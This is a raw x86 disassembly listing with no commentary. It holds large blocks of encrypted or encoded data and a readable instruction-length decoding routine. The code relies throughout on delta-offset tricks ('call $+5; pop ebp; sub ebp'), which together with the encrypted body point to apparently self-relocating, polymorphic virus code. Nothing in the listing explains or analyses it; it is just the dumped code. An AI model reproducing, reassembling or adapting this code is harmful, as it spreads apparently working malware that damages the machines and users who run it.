		dd 41FFC983h, 0B88D9D8Bh, 178B07EEh, 0B8899503h, 0C78307EEh
		dd 84028A04h, 0F840FC0h, 3A000000h, 0DC850F03h,	43FFFFFFh
		dd 0FFE7E942h, 33AFFFFh, 0FFCD850Fh, 0D15FFFFFh, 4B70FE1h
		dd 86048B0Fh, 0B8898503h, 858907EEh, 7EEB88Dh, 0CE8BF08Bh
		dd 0BD81C18Bh, 7EEB8C6h, 0C0300000h, 0D850Fh, 0E8C10000h
		dd 0FFC2514h, 8E90000h,	0C1000000h, 0F82512E8h,	8B00003Fh
		dd 0EEB8C6BDh, 70C8307h, 7148B06h, 8124C28Bh, 0C18B813Ch
		dd 57840Fh, 0BD810000h,	7EEB8C6h, 0C0300000h, 0D850Fh
		dd 0E8C10000h, 0FFFC250Ah, 8E9003Fh, 0C1000000h, 0F82509E8h
		dd 2D007FFFh, 40000000h, 0F7060883h, 8000h, 1E840F00h
		dd 81000000h, 0EEB8C6BDh, 30000007h, 0E840FC0h,	25000000h
		dd 3FF8h, 808Bh, 883C060h, 858DCF06h, 7EEB834h,	14F98589h
		dd 858D07E9h, 7EEB8CAh,	16918589h, 858D07E9h, 7EEB891h
		dd 21318589h, 3CE907E9h, 1, 4Eh	dup(0)
		dd 83000000h, 0E919A5BDh, 840F0107h, 537h, 8BEC8A60h, 85C661CAh
		dd 7E92659h, 50006A43h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 821D5FA5h, 8C0F7BEBh, 0Bh, 6E9h
		dd 92D8600h, 68CAA5F8h,	0CDE07773h, 0BECE8B60h,	631C3A6Bh
		dd 24348161h, 2145A786h, 0F5F5660h, 0E961F1B7h,	12h, 338BE4D7h
		dd 990E447Ah, 0F6A69413h, 37F4ED61h, 0B5FF60D3h, 7E90B11h
		dd 0DB858DF5h, 0F07EC9Fh, 884h,	880F6000h, 0
		dd 0FD0FF61h, 18Ch, 8589F800h, 7E91F25h, 1830Fh, 0C6F50000h
		dd 0E9265985h, 0F605007h, 188Dh, 13E900h, 0F8680000h, 0E478C43Ah
		dd 0E352E0CAh, 99AB9F54h, 0C15FB916h, 42C68151h, 6146609Eh
		dd 4E8h, 0ADAD5600h, 0C8C0FA8h,	0F000000h, 68Bh, 8F0F00h
		dd 50000000h, 800F5250h, 0Fh, 0AE9h, 94E50200h,	56BDED60h
		dd 0FBD42ACh, 0E9525031h, 0Fh, 0BAD76379h, 0D9A4AE77h
		dd 6F14BCB2h, 0FDB639Dh, 5A616031h, 8B585A58h, 60042444h
		dd 310F5250h, 0B966585Ah, 8B61B211h, 50525000h,	0F616052h
		dd 8E931h, 0A0D80000h, 0BCC825A8h, 585A48CAh, 9E9310Fh
		dd 4B000000h, 1321DFBBh, 59B84EFCh, 4489585Ah, 850F0424h
		dd 5, 0C78B6660h, 0FFF85861h, 0E90B11B5h, 13E907h, 0A4880000h
		dd 0DE3D2F03h, 7A5DAC87h, 93718E4Eh, 3402EA42h,	0DB858DC8h
		dd 6A07EC9Fh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 2C4AC357h, 0F451A87h, 18Ch, 8E9F800h
		dd 3B000000h, 0D1744846h, 0E90C5CF7h, 5, 39F60E0Bh, 0FD0FFCEh
		dd 1B8Eh, 10E86000h, 0F0000000h, 799FF202h, 1609D34Eh
		dd 0E4812029h, 58E3D48Dh, 6160E080h, 1F810Fh, 8B0F0000h
		dd 19h,	14E9h, 69D2E800h, 0A3CB0D7Ch, 28520F86h, 14978CD5h
		dd 0A2A64858h, 4D85895Ah, 0E907E916h, 0Fh, 656C48EEh, 0B3E298ADh
		dd 7A261E71h, 0E8A90CF9h, 4, 0F08FA82Fh, 8B605250h, 310F61CBh
		dd 61605250h, 6160310Fh, 585A585Ah, 0A830F50h, 0E9000000h
		dd 5, 0F7120477h, 24448BE7h, 9E904h, 2480000h, 0BD85B8DAh
		dd 8BF07D7Eh, 8B666000h, 0BE960CBh, 70000000h, 6961DAE5h
		dd 0CFCD5E61h, 3BB8C959h, 612729AEh, 24448961h,	0FE904h
		dd 5CC0000h, 8B04DE28h,	0B55C8E13h, 3919763Ch, 870F585Fh
		dd 1Eh,	18860Fh, 13E90000h, 5C000000h, 0D3A80EE5h, 87EFA7E3h
		dd 0C681227h, 0FCBB8AEEh, 0B5FFED56h, 7E90B11h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0C0C35242h, 51780708h
		dd 12E9h, 1E84B900h, 8004643h, 0DD8D0FC7h, 9CD81FA2h, 8DC1E766h
		dd 0EC9FDB85h, 0D0FFF507h, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 17h, 0F8C35545h, 0F924B9CDh, 19698589h, 0C6F907E9h
		dd 0E9265985h, 5E95007h, 64000000h, 89F2BC10h, 936CE668h
		dd 0C8B0F89h, 0F000000h, 688h, 0F525000h, 81585A31h, 6F702404h
		dd 13E90E09h, 93000000h, 0FE129581h, 327CF8BAh,	0ED32BEF3h
		dd 85D22C47h, 0B5FF21CFh, 7E92669h, 0CF816060h,	58092B44h
		dd 5EAB2AB8h, 0B70F6135h, 858D61F1h, 7E93ABCh, 0B840Fh
		dd 66600000h, 0B81F6EB8h, 40250205h, 60D0FF61h,	596DBF66h
		dd 8E0F60h, 0F000000h, 85h, 89616100h, 0E9236D85h, 0A840F07h
		dd 60000000h, 8B0FD78Bh, 0
		dd 155E961h, 66600000h,	0E960FA8Bh, 5, 61FE7BD3h, 0F5B96665h
		dd 6061614Ch, 0C2BF0FF8h, 8B605061h, 2C8961DEh,	0EE924h
		dd 0C5860000h, 6F7C8344h, 6951D095h, 9FCEEC31h,	0F60EC8Bh
		dd 28Dh, 665F5300h, 61BA21B8h, 60FCC483h, 6840Fh, 0DB810000h
		dd 174BB955h, 606123B4h, 0E8F8h, 815A0000h, 0EEBFCCEAh
		dd 0FC45C707h, 0
		dd 19A5BA83h, 0F0107E9h, 9884h,	6A5200h, 92FF0F6Ah, 7E91F25h
		dd 4182895Ah, 8D07EEBAh, 0EEBA459Ah, 3C75207h, 128h, 92FF5053h
		dd 7E9164Dh, 9A8D525Ah,	7EEBA45h, 41B2FF53h, 0FF07EEBAh
		dd 0E9236D92h, 0C00B5A07h, 9A8D5074h, 7EEBA45h,	33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 25BA8D0Ch, 8B07E932h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 0E9322582h, 92FF5007h, 7E91969h, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 0E8E0F2Dh, 60000000h, 5E9C1B2h, 37000000h
		dd 0A1F6E66Fh, 0B70F6061h, 42EFB9CFh, 8B6123DAh, 388D8DD2h
		dd 2907EEC1h, 0E934C985h, 0D8D8907h, 6A07E932h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 421EC353h, 8B66A9C7h, 0E585C7D8h, 9407E922h,	23000068h
		dd 0E9163185h, 0B185C707h, 7E922h, 29000000h, 0E92E4185h
		dd 6DB5FF07h, 8B07E92Ch, 0E913B195h, 0A1BD0907h, 0FF07E915h
		dd 0E9228595h, 6A5F5707h, 3195FF00h, 8B07E90Ch,	4879EBC0h
		dd 0E22E1A16h, 0B38B64F9h, 93BABB48h, 0DE9B58DDh, 5E847995h
		dd 31F0B0FAh, 8866E7F5h, 6B50588Ch, 0E03C7FE3h,	54653D94h
		dd 2BFF1109h, 0FBEB02EBh, 6C18E944h, 5B180E15h,	0A49B4E31h
		dd 0F058ACF4h, 0C3CD0A29h, 4376166Ch, 0BF017F5Eh, 3E7CA423h
		dd 733DC2B6h, 73E778DDh, 3B27168Fh, 3C35668Ah, 87162FF6h
		dd 0CB253DD4h, 0AE7D64FBh, 50B333F2h, 709E15FCh, 896288Dh
		dd 0AE8h, 0F8069000h, 1B73D3B8h, 8B6F6265h, 0E91F2185h
		dd 7E95F07h, 3F000000h,	0C555AA2Ch, 0C781AD91h,	60A5h
		dd 8E9h, 65752600h, 0FC53321Ch,	17FC680Eh, 0BD290000h
		dd 7E900F9h, 21CE805Bh,	0BF0F37FFh, 0B52959C2h,	7E9097Dh
		dd 2DAFE981h, 860F1398h, 3, 81D08B66h, 1F2CCAF1h, 299D8936h
		dd 8107E917h, 0F00E59E9h, 15B5335Bh, 5107E919h,	2655BD89h
		dd 78F07E9h, 0CE851h, 0E2F70000h, 644DFC68h, 51F3BB9Fh
		dd 858B4BCAh, 7E9253Dh,	0EF835E5Ah, 0FE904h, 5D3C0000h
		dd 0D1DBB90Ah, 4C0E010Ch, 25392F7Fh, 850F4B8Fh,	0FFFFFF8Ch
		dd 1B759D89h, 8D8D07E9h, 7EEC31Fh, 2C90CE81h, 95892409h
		dd 7E92A19h, 320D8D89h,	6A07E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 0F42D93C3h, 0D10209F7h
		dd 6840FF5h, 8B000000h,	0E908C9B5h, 0E585C707h,	4C07E922h
		dd 66000064h, 0C7A8C5BEh, 0E922B185h, 7, 0FE900h, 0C2970000h
		dd 0DFA00514h, 0E762B7Ch, 1C55AB7Bh, 0DB5FF42h,	0F07E917h
		dd 95FFDBB7h, 7E92285h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 42C35040h, 0F082FE8h,	6AD9BFh, 0C3195FFh
		dd 0C08B07E9h, 413F28EBh, 0F1EB9060h, 92E761B0h, 172F7D17h
		dd 0F091BEF0h, 699AFA68h, 11B98074h, 0C84370Fh,	0F395B8CAh
		dd 99DFE30Bh, 11E87A12h, 86000000h, 0C9F333B2h,	8F9FD838h
		dd 2C6AF582h, 0B7AC6127h, 21A5BD33h, 815E07E9h,	0DCF390C8h
		dd 0E1C6815Eh, 89000063h, 0E924F985h, 6807h, 59F50000h
		dd 26219529h, 34FF07E9h, 0AFB86631h, 26BF5B5Ch,	812E3894h
		dd 1ECE0DF3h, 0D08B6632h, 0D595C381h, 0BF0F6FBFh, 0F6F381D0h
		dd 8930812Eh, 0E9013D9Dh, 0E1C8907h, 0AE960h, 0EF2F0000h
		dd 0CDEE79FFh, 0ABD4755Fh, 0C2B70F61h, 8902E983h, 0E920D1B5h
		dd 89494907h, 0E92A719Dh, 0B4F98107h, 0FFFFF9Ch, 0FFFFA185h
		dd 0B1DC80FFh, 1C8E9h, 8 dup(41888800h), 4 dup(0)
		dd 880000h, 91C400h, 11111100h,	11111111h, 8899C911h, 88888888h
		dd 88h,	60000h,	444400h, 4100h,	11111100h, 44444411h, 88029944h
		dd 100203C9h, 11888800h, 88888800h, 11111188h, 164411h
		dd 0
		dd 88h,	888888h, 80000000h, 88888800h, 888h, 8888800h
		dd 88888808h, 88h, 0
		dd 88888800h, 88888888h, 88888088h, 2 dup(88888888h), 888888h
		dd 88999988h, 8, 44444488h, 44444444h, 88888844h, 88888888h
		dd 99800088h, 99800000h, 88888888h, 88890088h, 99888888h
		dd 89h,	88888000h, 88888880h, 88888888h, 88888880h, 88888088h
		dd 88888888h, 362E2608h, 6665643Eh, 0F3F2F067h,	0
		dd 0FFFFFF00h, 4016E6FFh, 4016FA00h, 2 dup(0)
		dd 300h, 14h dup(0)
		dd 8C200h, 80757366h, 0FEh, 11h	dup(0)
		dd 353E900h, 0E8550000h, 0
		dd 0C2ED815Dh, 6007EEC5h, 0C50F85C7h, 7EEh, 81660000h
		dd 0FA1663Eh, 0F85h, 1385C700h,	607EEC5h, 0E9000000h, 24h
		dd 0C517858Dh, 8D5007EEh, 0EEC56785h, 6A565007h, 1DE800h
		dd 0C4830000h, 0FF2510h, 85890000h, 7EEC513h, 13B50361h
		dd 8B07EEC5h, 0EEC50F85h
		db 7, 5Dh, 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5E0408
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5E0414
; ---------------------------------------------------------------------------


loc_5E0408:				; CODE XREF: sdfs____:005E03F1j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5E0414:				; CODE XREF: sdfs____:005E0403j
		push	ebx
		push	esi
		push	edi


loc_5E0417:				; CODE XREF: sdfs____:005E046Cj
					; sdfs____:005E0488j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5E042A:				; CODE XREF: sdfs____:005E0451j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7EEC679h
		lea	ebp, [ebp+7EEC4EFh]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5E0457
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5E042A


loc_5E0457:				; CODE XREF: sdfs____:005E0446j
		cmp	cl, 0Bh
		jz	loc_5E04B4
		cmp	al, 66h
		jnz	loc_5E0495
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5E0417
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5E048D
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5E0417
; ---------------------------------------------------------------------------


loc_5E048D:				; CODE XREF: sdfs____:005E047Aj
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5E0495:				; CODE XREF: sdfs____:005E0462j
		cmp	al, 67h
		jnz	loc_5E0417
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5E0417
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5E0417
; ---------------------------------------------------------------------------


loc_5E04B4:				; CODE XREF: sdfs____:005E045Aj
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5E04E0
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5E04E5
; ---------------------------------------------------------------------------


loc_5E04E0:				; CODE XREF: sdfs____:005E04BFj
		movzx	edi, al
		shr	edi, 1


loc_5E04E5:				; CODE XREF: sdfs____:005E04DBj
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7EEC731h
		lea	ebp, [ebp+7EEC3EFh]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5E0667
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5E05AB
		dec	ecx
		jz	loc_5E058E
		dec	ecx
		jnz	loc_5E05FE
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5E05FA
		cmp	byte ptr [ebp-5], 0
		jz	loc_5E056D
		mov	byte ptr [ebp+0Bh], 2


loc_5E056D:				; CODE XREF: sdfs____:005E0563j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 7EEC7BDh
		mov	dword ptr [ebp+7EEC50Fh], 1
		pop	ebp
		jmp	loc_5E05FE
; ---------------------------------------------------------------------------


loc_5E058E:				; CODE XREF: sdfs____:005E0548j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5E05D8
		cmp	byte ptr [ebp-5], 0
		jz	loc_5E05D8
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5E05D8
; ---------------------------------------------------------------------------


loc_5E05AB:				; CODE XREF: sdfs____:005E0541j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5E05F1
		cmp	byte ptr [ebp-5], 0
		jz	loc_5E05E0
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5E05D8
		mov	[ebp+0Bh], cl


loc_5E05D8:				; CODE XREF: sdfs____:005E0592j
					; sdfs____:005E059Cj ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5E05FE
; ---------------------------------------------------------------------------


loc_5E05E0:				; CODE XREF: sdfs____:005E05B9j
		cmp	dl, 5
		jnz	loc_5E05FE
		mov	[ebp+0Bh], dl
		jmp	loc_5E05FE
; ---------------------------------------------------------------------------


loc_5E05F1:				; CODE XREF: sdfs____:005E05AFj
		cmp	dl, 6
		jnz	loc_5E05FE


loc_5E05FA:				; CODE XREF: sdfs____:005E0559j
		mov	byte ptr [ebp+0Bh], 3


loc_5E05FE:				; CODE XREF: sdfs____:005E054Fj
					; sdfs____:005E0589j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5E062C
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5E060E:				; CODE XREF: sdfs____:005E0624j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5E060E
		mov	esi, edx


loc_5E062C:				; CODE XREF: sdfs____:005E0601j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5E0661
		cmp	edi, 7Fh
		ja	loc_5E0661
		test	bl, 38h
		jnz	loc_5E0661
		cmp	byte ptr [ebp-7], 0
		jz	loc_5E065B
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5E065E
; ---------------------------------------------------------------------------


loc_5E065B:				; CODE XREF: sdfs____:005E064Cj
		push	1
		pop	eax


loc_5E065E:				; CODE XREF: sdfs____:005E0656j
		mov	[ebp-1], al


loc_5E0661:				; CODE XREF: sdfs____:005E0630j
					; sdfs____:005E0639j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5E0667:				; CODE XREF: sdfs____:005E0511j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5E0692
		dec	eax
		dec	eax
		jz	loc_5E0688
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5E069A
; ---------------------------------------------------------------------------


loc_5E0688:				; CODE XREF: sdfs____:005E0677j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5E0697
; ---------------------------------------------------------------------------


loc_5E0692:				; CODE XREF: sdfs____:005E066Fj
		mov	al, [ebp-3]
		add	al, 4


loc_5E0697:				; CODE XREF: sdfs____:005E068Dj
		add	[ebp-1], al


loc_5E069A:				; CODE XREF: sdfs____:005E0683j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5E06C2
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5E06AD:				; CODE XREF: sdfs____:005E06BCj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5E06AD


loc_5E06C2:				; CODE XREF: sdfs____:005E06A2j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh,	85h, 0BCh
		dd 8907EEC5h, 0E9229985h, 18E907h, 0AA160000h, 9E01104Ch
		dd 7C80h, 3 dup(0)
		dd 0E9E90000h, 6800000Ch, 7EECAB7h, 0FAB27DE9h,	0CBB968FFh
		dd 73E907EEh, 68FFFAB2h, 7EECD2Dh, 0FAB269E9h, 0CE7668FFh
		dd 5FE907EEh, 68FFFAB2h, 7EECFB2h, 0FAB255E9h, 0D21D68FFh
		dd 4BE907EEh, 68FFFAB2h, 7EED398h, 0FAB241E9h, 0D4AB68FFh
		dd 37E907EEh, 0C7FFFAB2h, 0FA94434h, 0B01C91EBh, 0E751DC9Eh
		dd 14802DAFh, 62FA7B01h, 3440D5C5h, 86061FB9h, 0D2AA4DEFh
		dd 195BF123h, 0FAB7F394h, 286DFBBAh, 4A42205Ah,	700ED6A0h
		dd 0C4EBABE6h, 7F25305Ch, 8BF507B3h, 0AFE27CEAh, 305CC4EFh
		dd 0B8E98321h, 305CC4F8h, 0F3AE8A18h, 2C65F760h, 37B5AC4Dh
		dd 30CD5F45h, 51E47840h, 0F729922Bh, 34ED01E9h,	2873BE98h
		dd 0F819C04Ch, 8C19E308h, 4166h, 0A0B37C00h, 0C53E7E33h
		dd 752C305Ch, 305CC535h, 0DBC9C5DFh, 0CA22273h,	0A555E07Ah
		dd 3636B063h, 0B231D018h, 0E037B59Bh, 8EAC28C2h, 39E804ECh
		dd 28739B9Dh, 0FD1EBF43h, 8C1A0A03h, 0AF63h, 0A04A4700h
		dd 0AF420ED6h, 0B74571CDh, 8C22A2F3h, 84F604B0h, 0BFCF9AE9h
		dd 0ED0F305Ch, 326FF993h, 305CC072h, 0D4B83A6Ah, 0F9F62CEh
		dd 77CFB147h, 0FB11856Dh, 45D0A579h, 764938D2h,	0BC37B5AEh
		dd 77DF4FE6h, 9E539FE1h, 3F720493h, 2FC7D631h, 2BB3455Fh
		dd 0F89A7106h, 0DC20F27Fh, 0E075A74Eh, 5CC01D94h, 6CE03C36h
		dd 0AB07Bh, 1E5EFD00h, 6B112597h, 0B6C86ECAh, 7859D3Fh
		dd 4D2FC26Eh, 83EF48A0h, 35670E6Eh, 7BD558DCh, 0AF09A4D4h
		dd 1D42F38Dh, 0FA901081h, 4A80286Dh, 0B3EE7814h, 305CC4F3h
		dd 0FAB871Dh, 0B1E392EAh, 0EE54D99Bh, 0A537A0B3h, 8000710Bh
		dd 58305CC5h, 0DAC8C4B6h, 0AB706F1Eh, 7C2637B5h, 0AAE5C1A0h
		dd 0D9B2873h, 0AB7E3E73h, 7F6F2873h, 0B8494664h, 3EFB5D9h
		dd 239D3EDFh, 438C1A62h, 0BCh, 26AAAA43h, 4F65457Fh, 0A04A21E3h
		dd 9E2C4EE0h, 95E70A46h, 0CA4A5B03h, 6C80687Ah,	5CBFAAB5h
		dd 6B7B1230h, 0CDAF433Bh, 1ADA7371h, 611B3EF7h,	99B367D3h
		dd 50FA56DFh, 0E80BDE26h, 21B4ED7Fh, 1137B58Eh,	0AC4FE293h
		dd 9A17A13Bh, 28738E1Ah, 6640A8FAh, 0C7B9542Bh,	0B640622Fh
		dd 59760B2Eh, 74346D40h, 9C20872Bh, 7AB87706h, 2DF18BACh
		dd 0C2730197h, 30B9C356h, 3C3732E1h, 0AEAC03D3h, 0F3000009h
		dd 3B951858h, 6CC86517h, 933DB0CAh, 0C06C0183h,	36A64F2Dh
		dd 86C81F1h, 5ADACB65h,	0A6D679DBh, 0ED8FAD0Fh,	0E831F40h
		dd 286DFA8Eh, 4A167486h, 0FC58D5A7h, 31911C5Eh,	3C3EDC78h
		dd 0A216E2E0h, 8816EE88h, 0D967FCFDh, 4EAA3EF8h, 3FB6C06Ah
		dd 0CC5EC964h, 0B4A972D5h, 6005A037h, 0CBD0755Ch, 11F04CE2h
		dd 2872A1B6h, 0C647DEA8h, 34CA4FEFh, 0C9709C54h, 1AE2B808h
		dd 671368Ch, 0B38C0000h, 0ECA537A0h, 37B5A265h,	0BC743ED7h
		dd 6840CE1h, 805C462Ah,	7366C5E1h, 0F697BB28h, 1A39DB25h
		dd 6491B8Ch, 0B3AF0000h, 0BA537A0h, 0AEF0572h, 0D622E410h
		dd 0B4DACC37h, 0EBA63037h, 2872D9ABh, 0FF33F65h, 973F4995h
		dd 0AE2AFA82h, 942EF688h, 7F5B2A06h, 792872DAh,	725EA6D6h
		dd 0A15CA022h, 74EC0EAFh, 10F021C8h, 6E8C1AC7h,	5FFh, 35B93F74h
		dd 661BAD3Ah, 37B59F73h, 0EBA56143h, 7399C963h,	11A73D01h
		dd 758528D9h, 0B1BCB480h, 0A77FFD10h, 96168B1Dh, 7E9C5E74h
		dd 8D049624h, 0A3B74DAAh, 17EA3A68h, 88F99304h,	9BCE13F0h
		dd 0DA7EE6C0h, 13B1F1A0h, 369A8C8Ch, 0FE54DBCCh, 0C6544E46h
		dd 0F587A834h, 6D15A860h, 17E377D1h, 356E0791h,	97F302A4h
		dd 6D8F2B07h, 0EF6FED25h, 0CA13749h, 41E88AA0h,	9032C8B8h
		dd 3A93C418h, 67000008h, 0AF09A4D4h, 0D07CF18Bh, 7B13C3Eh
		dd 0B4E08D0Fh, 0C25ADBA1h, 94E07565h, 0E666BF19h, 324AED4Fh
		dd 79FB1183h, 9A1793F4h, 286DF81Ah, 4AE2C0FAh, 9844D6A0h
		dd 0F4280072h, 17A13621h, 56C7417Eh, 4EC4A5Eh, 680FEFA2h
		dd 2381384Fh, 6707F392h, 177286Dh, 28C5B745h, 0D16BE075h
		dd 6D65D8A0h, 7928C228h, 286D6639h, 26A6FFDBh, 0D8B45890h
		dd 25B74537h, 3BD195B9h, 49DFE539h, 635EEFF5h, 0B913072h
		dd 6B75A981h, 0E43937D2h, 99E5AA30h, 47F28BAFh,	0A4D06548h
		dd 22B44A58h, 6DB32F6Fh, 77C3E128h, 3DCFA943h, 0B2AEEEA3h
		dd 3C66286Dh, 0B2B7F7AAh, 4B59286Dh, 1763E2EFh,	31286DB3h
		dd 65D75E1Eh, 0A859A5D7h, 286DC30Ch, 0B6721B3Dh, 0CB5BDAA4h
		dd 6EA71303h, 249058EEh, 0E9986416h, 286DB2CDh,	0FF29D0F4h
		dd 3D92235Dh, 0F1h, 0DADAD761h,	3A286DB2h, 0F5D8DD68h
		dd 0A2C2B0BDh, 0A04A7456h, 0C4DFDFD2h, 0BAC8305Ch, 3EFDC3D6h
		dd 0FF8D177Fh, 0F484AB27h, 8D049E28h, 305C250Dh, 0F484AB07h
		dd 2C049A28h, 5C255D5Dh, 0A3DD7F30h, 0F4638E43h, 5CCF2F62h
		dd 0E3C1384Fh, 0E307B56h, 92C51934h, 6F1h, 0D05D1F3Ch
		dd 0BAAD064h, 78F587A9h, 0AF46C4DCh, 0E18CE80Dh, 2FC2AE8Bh
		dd 1D74A04Dh, 95BA169Fh, 4CEE4AEBh, 0C0DA8332h,	6DF6D1D1h
		dd 5B094328h, 0ED6A04Ah, 3BCDAF42h, 0C4B0F0A1h,	4260305Ch
		dd 0A649EBF6h, 5FFD5FD6h, 1124901Dh, 1A3F9B6Bh,	0C7C98262h
		dd 2A4FE226h, 0B76B29A6h, 42F381E6h, 3117FFC1h,	77F84h
		dd 514B0000h, 5Fh, 3ADC78F1h, 0AE6FC40h, 12F28CAEh, 5CB55773h
		dd 0A34A4A30h, 4A9CB61h, 29F587A8h, 5CB55D78h, 5A4E830h
		dd 0A14C2CC3h, 0DBA54A61h, 3CD17D0Bh, 12DEE438h, 5DEF91A6h
		dd 5D68D8C0h, 0FA364C64h, 2ABD5A6h, 0A64F31C6h,	5CAD68DFh
		dd 3C833030h, 0BE8430F3h, 0FFFFFEF2h, 3655104h,	78F10000h
		dd 0FD413BDCh, 351B56E7h, 0CEFB4428h, 0DAA4B662h, 0A40F9B0Ah
		dd 0DE06305Ch, 1567F53Fh, 0F8B8E983h, 18305CA3h, 8E5FF38Ah
		dd 0BB71A73Eh, 34C6727Fh, 7F0BFA4Ah, 59305BDCh,	0A87DC1B3h
		dd 11801A8Dh, 384F12F1h, 265AFD59h, 6D122B6Bh, 29BFE528h
		dd 24A8F9D5h, 0E8B65A96h, 6D11F9B9h, 0FB891B28h, 0EEA597Eh
		dd 0F0E77F34h, 5B5h, 8C2153F8h,	0C76E0C20h, 34B9C355h
		dd 6B0A8898h, 0DD5024C9h, 6B8EEA4Fh, 0E1309C11h, 0D166D263h
		dd 80AA06AFh, 8C167FF6h, 6DF59515h, 1F4D7F28h, 0ED6A04Ah
		dd 20CDAF42h, 991466F4h, 82621A3Fh, 245D2336h, 305CC564h
		dd 0D660F6ACh, 9A7FB33Fh, 0B63F17EAh, 0CF0D9882h, 0C965CDE7h
		dd 0B96B1272h, 0F44DE094h, 84314E0Ch, 0E86CA521h, 285ED00h
		dd 78F50000h, 0F43C3EDCh, 15A72439h, 9D5A749h, 0CD0544Dh
		dd 0D408E076h, 4FC67F2Dh, 14B5590Fh, 1FDAFDC7h,	25D7983h
		dd 0B3490000h, 84F41BBAh, 2942AB8h, 5CC50F8Fh, 0BD53FB30h
		dd 0E56163C3h, 1FC32FADh, 0DAC8B985h, 0E20F4FC5h, 0A262BF5Eh
		dd 0DC831FDBh, 22Fh, 0C5DC78E6h, 3FD3FF47h, 4DE3E13Dh
		dd 0B037C8E5h, 0C5276B26h, 0BFE9305Ch, 5CC4C2C2h, 0C2505230h
		dd 0C6158362h, 0E2330F4Fh, 23368262h, 24C88559h, 942D7285h
		dd 3B70FF22h, 68113DA5h, 4CCEC68Eh, 8506F2F0h, 831F073Bh
		dd 1E2BBh, 0BAB30F00h, 0BB8BF51Bh, 19E19C29h, 0A5469536h
